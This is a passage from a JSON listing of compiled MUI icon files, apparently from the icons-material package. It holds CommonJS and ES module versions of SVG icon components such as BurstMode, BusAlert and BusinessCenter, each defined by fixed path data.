    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 5c.55 0 1 .45 1 1v12c0 .55-.45 1-1 1s-1-.45-1-1V6c0-.55.45-1 1-1m4 0c.55 0 1 .45 1 1v12c0 .55-.45 1-1 1s-1-.45-1-1V6c0-.55.45-1 1-1m16 0H10c-.55 0-1 .45-1 1v12c0 .55.45 1 1 1h12c.55 0 1-.45 1-1V6c0-.55-.45-1-1-1M11.64 16.19l1.47-1.86c.2-.25.57-.25.78-.01l1.4 1.68 2.1-2.71c.2-.26.59-.26.79 0l2.21 2.9c.25.33.02.8-.4.8h-7.96c-.41.01-.65-.47-.39-.8\"\n}), 'BurstModeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BurstModeSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1 5h2v14H1zm4 0h2v14H5zm18 0H9v14h14zM11 17l2.5-3.15L15.29 16l2.5-3.22L21 17z\"\n}), 'BurstModeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BurstModeSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M1 5h2v14H1zm4 0h2v14H5zm18 0H9v14h14zM11 17l2.5-3.15L15.29 16l2.5-3.22L21 17z\"\n}), 'BurstModeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BurstModeTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 17h10V7H11zm3-3.53 1.43 1.72 2-2.58L20 15.99h-8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1 5h2v14H1zm4 0h2v14H5zm17 0H10c-.55 0-1 .45-1 1v12c0 .55.45 1 1 1h12c.55 0 1-.45 1-1V6c0-.55-.45-1-1-1m-1 12H11V7h10zm-3.57-4.38-2 2.57L14 13.47l-2 2.52h8z\"\n}, \"1\")], 'BurstModeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BurstModeTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 17h10V7H11zm3-3.53 1.43 1.72 2-2.58L20 15.99h-8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M1 5h2v14H1zm4 0h2v14H5zm17 0H10c-.55 0-1 .45-1 1v12c0 .55.45 1 1 1h12c.55 0 1-.45 1-1V6c0-.55-.45-1-1-1m-1 12H11V7h10zm-3.57-4.38-2 2.57L14 13.47l-2 2.52h8z\"\n}, \"1\")], 'BurstModeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BusAlert.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 1a7 7 0 0 0-5.78 3.05l.02-.03C9.84 4 9.42 4 9 4c-4.42 0-8 .5-8 4v10c0 .88.39 1.67 1 2.22V22a1 1 0 0 0 1 1h1a1 1 0 0 0 1-1v-1h8v1a1 1 0 0 0 1 1h1a1 1 0 0 0 1-1v-1.78c.61-.55 1-1.34 1-2.22v-3.08A7 7 0 0 0 16 1M4.5 19a1.5 1.5 0 1 1 0-3 1.5 1.5 0 0 1 0 3M3 13V8h6c0 1.96.81 3.73 2.11 5zm10.5 6a1.5 1.5 0 1 1 0-3 1.5 1.5 0 0 1 0 3m2.5-6a5 5 0 1 1 0-10 5 5 0 0 1 0 10m-1-9h2v5h-2zm0 6h2v2h-2z\"\n}), 'BusAlert');"
  },
  {
    "path": "packages/mui-icons-material/lib/BusAlert.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 1a7 7 0 0 0-5.78 3.05l.02-.03C9.84 4 9.42 4 9 4c-4.42 0-8 .5-8 4v10c0 .88.39 1.67 1 2.22V22a1 1 0 0 0 1 1h1a1 1 0 0 0 1-1v-1h8v1a1 1 0 0 0 1 1h1a1 1 0 0 0 1-1v-1.78c.61-.55 1-1.34 1-2.22v-3.08A7 7 0 0 0 16 1M4.5 19a1.5 1.5 0 1 1 0-3 1.5 1.5 0 0 1 0 3M3 13V8h6c0 1.96.81 3.73 2.11 5zm10.5 6a1.5 1.5 0 1 1 0-3 1.5 1.5 0 0 1 0 3m2.5-6a5 5 0 1 1 0-10 5 5 0 0 1 0 10m-1-9h2v5h-2zm0 6h2v2h-2z\"\n}), 'BusAlert');"
  },
  {
    "path": "packages/mui-icons-material/lib/BusAlertOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"6.5\",\n  cy: \"15.5\",\n  r: \"1.5\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"13.5\",\n  cy: \"15.5\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 11V8h7.29C11.1 7.37 11 6.7 11 6H4.43c.83-.71 2.98-1.09 6.65-.98.1-.7.3-1.37.59-1.99C2.97 2.67 2 5.02 2 7v9.5c0 .95.38 1.81 1 2.44V21c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-1h8v1c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-2.06c.62-.63 1-1.49 1-2.44V13c-1.91 0-3.63-.76-4.89-2zm12 5c0 1.1-.9 2-2 2H6c-1.1 0-2-.9-2-2v-3h12z\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 1c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m.5 8h-1V8h1zm0-2h-1V3h1z\"\n}, \"3\")], 'BusAlertOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BusAlertOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"6.5\",\n  cy: \"15.5\",\n  r: \"1.5\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"13.5\",\n  cy: \"15.5\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 11V8h7.29C11.1 7.37 11 6.7 11 6H4.43c.83-.71 2.98-1.09 6.65-.98.1-.7.3-1.37.59-1.99C2.97 2.67 2 5.02 2 7v9.5c0 .95.38 1.81 1 2.44V21c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-1h8v1c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-2.06c.62-.63 1-1.49 1-2.44V13c-1.91 0-3.63-.76-4.89-2zm12 5c0 1.1-.9 2-2 2H6c-1.1 0-2-.9-2-2v-3h12z\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 1c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m.5 8h-1V8h1zm0-2h-1V3h1z\"\n}, \"3\")], 'BusAlertOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BusAlertRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 11V8h7.29c-.77-2.6.21-4.61.37-4.97C2.97 2.67 2 5.02 2 7v9.5c0 .95.38 1.81 1 2.44v1.56c0 .83.67 1.5 1.5 1.5S6 21.33 6 20.5V20h8v.5c0 .82.67 1.5 1.5 1.5.82 0 1.5-.67 1.5-1.5v-1.56c.62-.63 1-1.49 1-2.44V13c-1.91 0-3.63-.76-4.89-2zm2.5 6c-.83 0-1.5-.67-1.5-1.5S5.67 14 6.5 14s1.5.67 1.5 1.5S7.33 17 6.5 17m8.5-1.5c0 .83-.67 1.5-1.5 1.5s-1.5-.67-1.5-1.5.67-1.5 1.5-1.5 1.5.67 1.5 1.5\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 1c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m.5 5.5c0 .28-.22.5-.5.5s-.5-.22-.5-.5v-3c0-.28.22-.5.5-.5s.5.22.5.5zm0 2c0 .28-.22.5-.5.5s-.5-.22-.5-.5.22-.5.5-.5.5.22.5.5\"\n}, \"1\")], 'BusAlertRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BusAlertRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 11V8h7.29c-.77-2.6.21-4.61.37-4.97C2.97 2.67 2 5.02 2 7v9.5c0 .95.38 1.81 1 2.44v1.56c0 .83.67 1.5 1.5 1.5S6 21.33 6 20.5V20h8v.5c0 .82.67 1.5 1.5 1.5.82 0 1.5-.67 1.5-1.5v-1.56c.62-.63 1-1.49 1-2.44V13c-1.91 0-3.63-.76-4.89-2zm2.5 6c-.83 0-1.5-.67-1.5-1.5S5.67 14 6.5 14s1.5.67 1.5 1.5S7.33 17 6.5 17m8.5-1.5c0 .83-.67 1.5-1.5 1.5s-1.5-.67-1.5-1.5.67-1.5 1.5-1.5 1.5.67 1.5 1.5\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 1c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m.5 5.5c0 .28-.22.5-.5.5s-.5-.22-.5-.5v-3c0-.28.22-.5.5-.5s.5.22.5.5zm0 2c0 .28-.22.5-.5.5s-.5-.22-.5-.5.22-.5.5-.5.5.22.5.5\"\n}, \"1\")], 'BusAlertRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BusAlertSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 11V8h7.29c-.77-2.6.21-4.61.37-4.97C2.97 2.67 2 5.02 2 7v9.5c0 .95.38 1.81 1 2.44V22h3v-2h8v2h3v-3.06c.62-.63 1-1.49 1-2.44V13c-1.91 0-3.63-.76-4.89-2zm2.5 6c-.83 0-1.5-.67-1.5-1.5S5.67 14 6.5 14s1.5.67 1.5 1.5S7.33 17 6.5 17m8.5-1.5c0 .83-.67 1.5-1.5 1.5s-1.5-.67-1.5-1.5.67-1.5 1.5-1.5 1.5.67 1.5 1.5\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 1c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m.5 8h-1V8h1zm0-2h-1V3h1z\"\n}, \"1\")], 'BusAlertSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BusAlertSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 11V8h7.29c-.77-2.6.21-4.61.37-4.97C2.97 2.67 2 5.02 2 7v9.5c0 .95.38 1.81 1 2.44V22h3v-2h8v2h3v-3.06c.62-.63 1-1.49 1-2.44V13c-1.91 0-3.63-.76-4.89-2zm2.5 6c-.83 0-1.5-.67-1.5-1.5S5.67 14 6.5 14s1.5.67 1.5 1.5S7.33 17 6.5 17m8.5-1.5c0 .83-.67 1.5-1.5 1.5s-1.5-.67-1.5-1.5.67-1.5 1.5-1.5 1.5.67 1.5 1.5\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 1c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m.5 8h-1V8h1zm0-2h-1V3h1z\"\n}, \"1\")], 'BusAlertSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BusAlertTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 16c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2v-3H4zm9.5-2c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5.67-1.5 1.5-1.5m-7 0c.83 0 1.5.67 1.5 1.5S7.33 17 6.5 17 5 16.33 5 15.5 5.67 14 6.5 14M4.43 6H11c0-.33.03-.66.08-.98-3.68-.11-5.83.27-6.65.98\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 11V8h7.29C11.1 7.37 11 6.7 11 6H4.43c.83-.71 2.98-1.09 6.65-.98.1-.7.3-1.37.59-1.99C2.97 2.67 2 5.02 2 7v9.5c0 .95.38 1.81 1 2.44V21c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-1h8v1c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-2.06c.62-.63 1-1.49 1-2.44V13c-1.91 0-3.63-.76-4.89-2zm12 5c0 1.1-.9 2-2 2H6c-1.1 0-2-.9-2-2v-3h12z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"6.5\",\n  cy: \"15.5\",\n  r: \"1.5\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"13.5\",\n  cy: \"15.5\",\n  r: \"1.5\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 1c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m.5 8h-1V8h1zm0-2h-1V3h1z\"\n}, \"4\")], 'BusAlertTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BusAlertTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 16c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2v-3H4zm9.5-2c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5.67-1.5 1.5-1.5m-7 0c.83 0 1.5.67 1.5 1.5S7.33 17 6.5 17 5 16.33 5 15.5 5.67 14 6.5 14M4.43 6H11c0-.33.03-.66.08-.98-3.68-.11-5.83.27-6.65.98\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 11V8h7.29C11.1 7.37 11 6.7 11 6H4.43c.83-.71 2.98-1.09 6.65-.98.1-.7.3-1.37.59-1.99C2.97 2.67 2 5.02 2 7v9.5c0 .95.38 1.81 1 2.44V21c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-1h8v1c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-2.06c.62-.63 1-1.49 1-2.44V13c-1.91 0-3.63-.76-4.89-2zm12 5c0 1.1-.9 2-2 2H6c-1.1 0-2-.9-2-2v-3h12z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"6.5\",\n  cy: \"15.5\",\n  r: \"1.5\"\n}, \"2\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"13.5\",\n  cy: \"15.5\",\n  r: \"1.5\"\n}, \"3\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 1c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m.5 8h-1V8h1zm0-2h-1V3h1z\"\n}, \"4\")], 'BusAlertTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Business.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 7V3H2v18h20V7zM6 19H4v-2h2zm0-4H4v-2h2zm0-4H4V9h2zm0-4H4V5h2zm4 12H8v-2h2zm0-4H8v-2h2zm0-4H8V9h2zm0-4H8V5h2zm10 12h-8v-2h2v-2h-2v-2h2v-2h-2V9h8zm-2-8h-2v2h2zm0 4h-2v2h2z\"\n}), 'Business');"
  },
  {
    "path": "packages/mui-icons-material/lib/Business.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 7V3H2v18h20V7zM6 19H4v-2h2zm0-4H4v-2h2zm0-4H4V9h2zm0-4H4V5h2zm4 12H8v-2h2zm0-4H8v-2h2zm0-4H8V9h2zm0-4H8V5h2zm10 12h-8v-2h2v-2h-2v-2h2v-2h-2V9h8zm-2-8h-2v2h2zm0 4h-2v2h2z\"\n}), 'Business');"
  },
  {
    "path": "packages/mui-icons-material/lib/BusinessCenter.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 16v-1H3.01L3 19c0 1.11.89 2 2 2h14c1.11 0 2-.89 2-2v-4h-7v1zm10-9h-4.01V5l-2-2h-4l-2 2v2H4c-1.1 0-2 .9-2 2v3c0 1.11.89 2 2 2h6v-2h4v2h6c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2m-6 0h-4V5h4z\"\n}), 'BusinessCenter');"
  },
  {
    "path": "packages/mui-icons-material/lib/BusinessCenter.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 16v-1H3.01L3 19c0 1.11.89 2 2 2h14c1.11 0 2-.89 2-2v-4h-7v1zm10-9h-4.01V5l-2-2h-4l-2 2v2H4c-1.1 0-2 .9-2 2v3c0 1.11.89 2 2 2h6v-2h4v2h6c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2m-6 0h-4V5h4z\"\n}), 'BusinessCenter');"
  },
  {
    "path": "packages/mui-icons-material/lib/BusinessCenterOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 7h-4V5l-2-2h-4L8 5v2H4c-1.1 0-2 .9-2 2v5c0 .75.4 1.38 1 1.73V19c0 1.11.89 2 2 2h14c1.11 0 2-.89 2-2v-3.28c.59-.35 1-.99 1-1.72V9c0-1.1-.9-2-2-2M10 5h4v2h-4zM4 9h16v5h-5v-3H9v3H4zm9 6h-2v-2h2zm6 4H5v-3h4v1h6v-1h4z\"\n}), 'BusinessCenterOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BusinessCenterOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 7h-4V5l-2-2h-4L8 5v2H4c-1.1 0-2 .9-2 2v5c0 .75.4 1.38 1 1.73V19c0 1.11.89 2 2 2h14c1.11 0 2-.89 2-2v-3.28c.59-.35 1-.99 1-1.72V9c0-1.1-.9-2-2-2M10 5h4v2h-4zM4 9h16v5h-5v-3H9v3H4zm9 6h-2v-2h2zm6 4H5v-3h4v1h6v-1h4z\"\n}), 'BusinessCenterOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BusinessCenterRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 16h-2c-.55 0-1-.45-1-1H3.01v4c0 1.1.9 2 2 2H19c1.1 0 2-.9 2-2v-4h-7c0 .55-.45 1-1 1m7-9h-4c0-2.21-1.79-4-4-4S8 4.79 8 7H4c-1.1 0-2 .9-2 2v3c0 1.11.89 2 2 2h6v-1c0-.55.45-1 1-1h2c.55 0 1 .45 1 1v1h6c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2M10 7c0-1.1.9-2 2-2s2 .9 2 2H9.99z\"\n}), 'BusinessCenterRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BusinessCenterRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 16h-2c-.55 0-1-.45-1-1H3.01v4c0 1.1.9 2 2 2H19c1.1 0 2-.9 2-2v-4h-7c0 .55-.45 1-1 1m7-9h-4c0-2.21-1.79-4-4-4S8 4.79 8 7H4c-1.1 0-2 .9-2 2v3c0 1.11.89 2 2 2h6v-1c0-.55.45-1 1-1h2c.55 0 1 .45 1 1v1h6c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2M10 7c0-1.1.9-2 2-2s2 .9 2 2H9.99z\"\n}), 'BusinessCenterRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BusinessCenterSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 16v-1H3.01v6H21v-6h-7v1zm12-9h-6V5l-2-2h-4L8 5v2H2v7h8v-2h4v2h8zm-8 0h-4V5h4z\"\n}), 'BusinessCenterSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BusinessCenterSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 16v-1H3.01v6H21v-6h-7v1zm12-9h-6V5l-2-2h-4L8 5v2H2v7h8v-2h4v2h8zm-8 0h-4V5h4z\"\n}), 'BusinessCenterSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BusinessCenterTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 17H9v-1H5v3h14v-3h-4zM4 14h5v-3h6v3h5V9H4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 7h-4V5l-2-2h-4L8 5v2H4c-1.1 0-2 .9-2 2v5c0 .75.4 1.38 1 1.73V19c0 1.11.89 2 2 2h14c1.11 0 2-.89 2-2v-3.28c.59-.35 1-.99 1-1.72V9c0-1.1-.9-2-2-2M10 5h4v2h-4zm9 14H5v-3h4v1h6v-1h4zm-8-4v-2h2v2zm9-1h-5v-3H9v3H4V9h16z\"\n}, \"1\")], 'BusinessCenterTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BusinessCenterTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 17H9v-1H5v3h14v-3h-4zM4 14h5v-3h6v3h5V9H4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 7h-4V5l-2-2h-4L8 5v2H4c-1.1 0-2 .9-2 2v5c0 .75.4 1.38 1 1.73V19c0 1.11.89 2 2 2h14c1.11 0 2-.89 2-2v-3.28c.59-.35 1-.99 1-1.72V9c0-1.1-.9-2-2-2M10 5h4v2h-4zm9 14H5v-3h4v1h6v-1h4zm-8-4v-2h2v2zm9-1h-5v-3H9v3H4V9h16z\"\n}, \"1\")], 'BusinessCenterTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BusinessOutlined.js",
